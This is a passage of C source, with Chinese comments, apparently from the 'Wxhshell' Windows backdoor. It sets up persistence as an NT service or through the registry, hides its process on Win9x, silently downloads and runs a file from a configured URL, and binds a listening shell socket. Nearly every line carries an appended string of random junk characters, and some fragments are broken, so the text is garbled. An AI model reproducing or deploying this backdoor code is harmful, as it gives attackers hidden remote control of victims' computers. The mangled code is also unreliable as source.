ULONG UniqueProcessId; z hRB,1iG
ULONG InheritedFromUniqueProcessId; z'\_jaj^
} PROCESS_BASIC_INFORMATION; Slher0.Y
\BZhf?9U
PROCNTQSIP NtQueryInformationProcess; SY^t} A7:/
7KL v6]b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kDN:ep{/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,>-< (Qi
?_vakJ
)
HANDLE hProcess; 2Yn <2U/^R
PROCESS_BASIC_INFORMATION pbi; DN~nk
D \sWZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tlqiXh<
if(NULL == hInst ) return 0; -~30)J=e`
Yc
`)R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jWl)cC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bc)~k:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xt%7@/hiE
Id|L`
w
if (!NtQueryInformationProcess) return 0; C=It* j55
7/f3Z1g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ZEmULKkR
if(!hProcess) return 0; TbGn46!:
Dg?70v<a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JB`\G=PiL
0#&5.Gr)
CloseHandle(hProcess); fb8g7H|
uv(Sdiir8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Sx\Xi"<o=
if(hProcess==NULL) return 0; 7~aM=8r
b6F4>@gjg
HMODULE hMod; ^1aAjYFn
char procName[255]; ~ZhraSI)G
unsigned long cbNeeded; hKjt'N:~ZY
s6zNV4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `_{`l4i5
J}+6UlD
CloseHandle(hProcess); "a1n_>#Fb
5sJJGv#6
if(strstr(procName,"services")) return 1; // 以服务启动 H_ox_
u}
Nkl_Ho,
return 0; // 注册表启动 kg3EY<4i
} H77"
lM{
+!-G,
// 主模块 \":m!K;Z
int StartWxhshell(LPSTR lpCmdLine) wl$h4 {L7
{ 3G~@H>j
SOCKET wsl; $UCAhG$
BOOL val=TRUE; \lC
int port=0; d'$T4yA
struct sockaddr_in door; Z->p1xkX
:^x?2%
~K.
if(wscfg.ws_autoins) Install(); [E
JQ>?D
Jesjtcy<*
port=atoi(lpCmdLine); [P7N{l=I
&2zq%((r
if(port<=0) port=wscfg.ws_port; +0q>fp_K(+
Qj6/[mUr~
WSADATA data; R>"OXFaE
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )5U[o0td
pg%aI,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )>-ibf`#?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); glXZZ=j
door.sin_family = AF_INET; iN0nw]_*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "D=P8X&vs
door.sin_port = htons(port); '-b*EZU8t
zs*L~_K
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UHxE)]J
closesocket(wsl); MR<;i2p
return 1; C[Dav&=^F
} :2-pjkhiwY
R&';Oro
if(listen(wsl,2) == INVALID_SOCKET) { hQH nwr
closesocket(wsl); /iV}HV0
return 1; )R
2.
} HcV"X,7S
Wxhshell(wsl); s nnbb0J
WSACleanup(); q)vplV1A
sx51X^d
return 0; "=za??\K}
K/=_b<
} :`2=@ .
ZRVT2VfN
// 以NT服务方式启动 15o?{=b[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) deixy.
|
{ 1,~SS
DWORD status = 0; %ck]S!}6
DWORD specificError = 0xfffffff; 70mpSD3
B0!"A
serviceStatus.dwServiceType = SERVICE_WIN32; S (N\cw$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1=a>f"cyf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +_xOLiu
serviceStatus.dwWin32ExitCode = 0; Yx inE`u~
serviceStatus.dwServiceSpecificExitCode = 0; F]t(%{#W
serviceStatus.dwCheckPoint = 0; L%c0 Z@[~
serviceStatus.dwWaitHint = 0; b2=0}~LK
*"r~-&IL
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o9S+6@
if (hServiceStatusHandle==0) return; Kmv+1T0,
9Xo[(h)5d
status = GetLastError(); zC:wNz@zK
if (status!=NO_ERROR) ^e>Wo7r
{ 4bEf
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z)xaJGbw
serviceStatus.dwCheckPoint = 0;
ld7v3:M
serviceStatus.dwWaitHint = 0; R
&4Z*?S
serviceStatus.dwWin32ExitCode = status; +@K09ge
serviceStatus.dwServiceSpecificExitCode = specificError; ]a3iEA2 (
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lP!;3iJ B
return; !\;FNu8_.
} <P;}unq.kw
~/ilx#d
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^F"iP7
serviceStatus.dwCheckPoint = 0; -+em!g'
serviceStatus.dwWaitHint = 0; 'EfR|7m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4r0b)Y&I
} 9bq<GC'eX8
eDZ8w
// 处理NT服务事件,比如:启动、停止 0W()lQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) `\6?WXk3T
{ 6q6FB
switch(fdwControl) %F*|;o7 s
{ *d',Vuv&[
case SERVICE_CONTROL_STOP: d 'Axum@
serviceStatus.dwWin32ExitCode = 0; c9nH}/I_
serviceStatus.dwCurrentState = SERVICE_STOPPED; .ol'.t,S
serviceStatus.dwCheckPoint = 0; T!}[yW
serviceStatus.dwWaitHint = 0; UD y(v ]
{ *8tI*Pus
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cFF*Z=L_
} 79yd&5#e?
return; "h7tnMS
case SERVICE_CONTROL_PAUSE: )
(Tom9^
serviceStatus.dwCurrentState = SERVICE_PAUSED; *cg(
?yg
break; 3TZ*RPmFRm
case SERVICE_CONTROL_CONTINUE: kY&h~Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; =@5x"MOz
break; v^7LctcVm
case SERVICE_CONTROL_INTERROGATE: EK$Kee}~
break; vHE^"l5 v
}; +EM_TTf4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &h,5:u
} ,*@AX>
NCf"tK'5n
// 标准应用程序主函数 OcSEo7W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!FLR>8
{ PSmfiaThwo
=0'q!}._!
// 获取操作系统版本 nD2,!71
OsIsNt=GetOsVer(); Wi}FY }f
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9cv]y#
<p?&udqD
// 从命令行安装 8g>b
if(strpbrk(lpCmdLine,"iI")) Install(); V8~jf-\$b
Sj(F3wY
// 下载执行文件 STA4 p6
if(wscfg.ws_downexe) { ='E$-_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oQj=;[
WinExec(wscfg.ws_filenam,SW_HIDE); -gz0md|Y
} KZBrE$@%5
do
^RF<G
if(!OsIsNt) { :` $@}GI
// 如果时win9x,隐藏进程并且设置为注册表启动 pNE(n4v
HideProc(); ~/tKMS6T
StartWxhshell(lpCmdLine); i$KpDXP\
} OlQ,Ce
else S|GWcSg
if(StartFromService()) l48k<
// 以服务方式启动 BD#.-xWV
StartServiceCtrlDispatcher(DispatchTable); e|r0zw S
else ARfRsPxr
// 普通方式启动 k 2%S`/:
StartWxhshell(lpCmdLine); m!OMrZ%)}
\BI/G
return 0; |k{-l!HI
}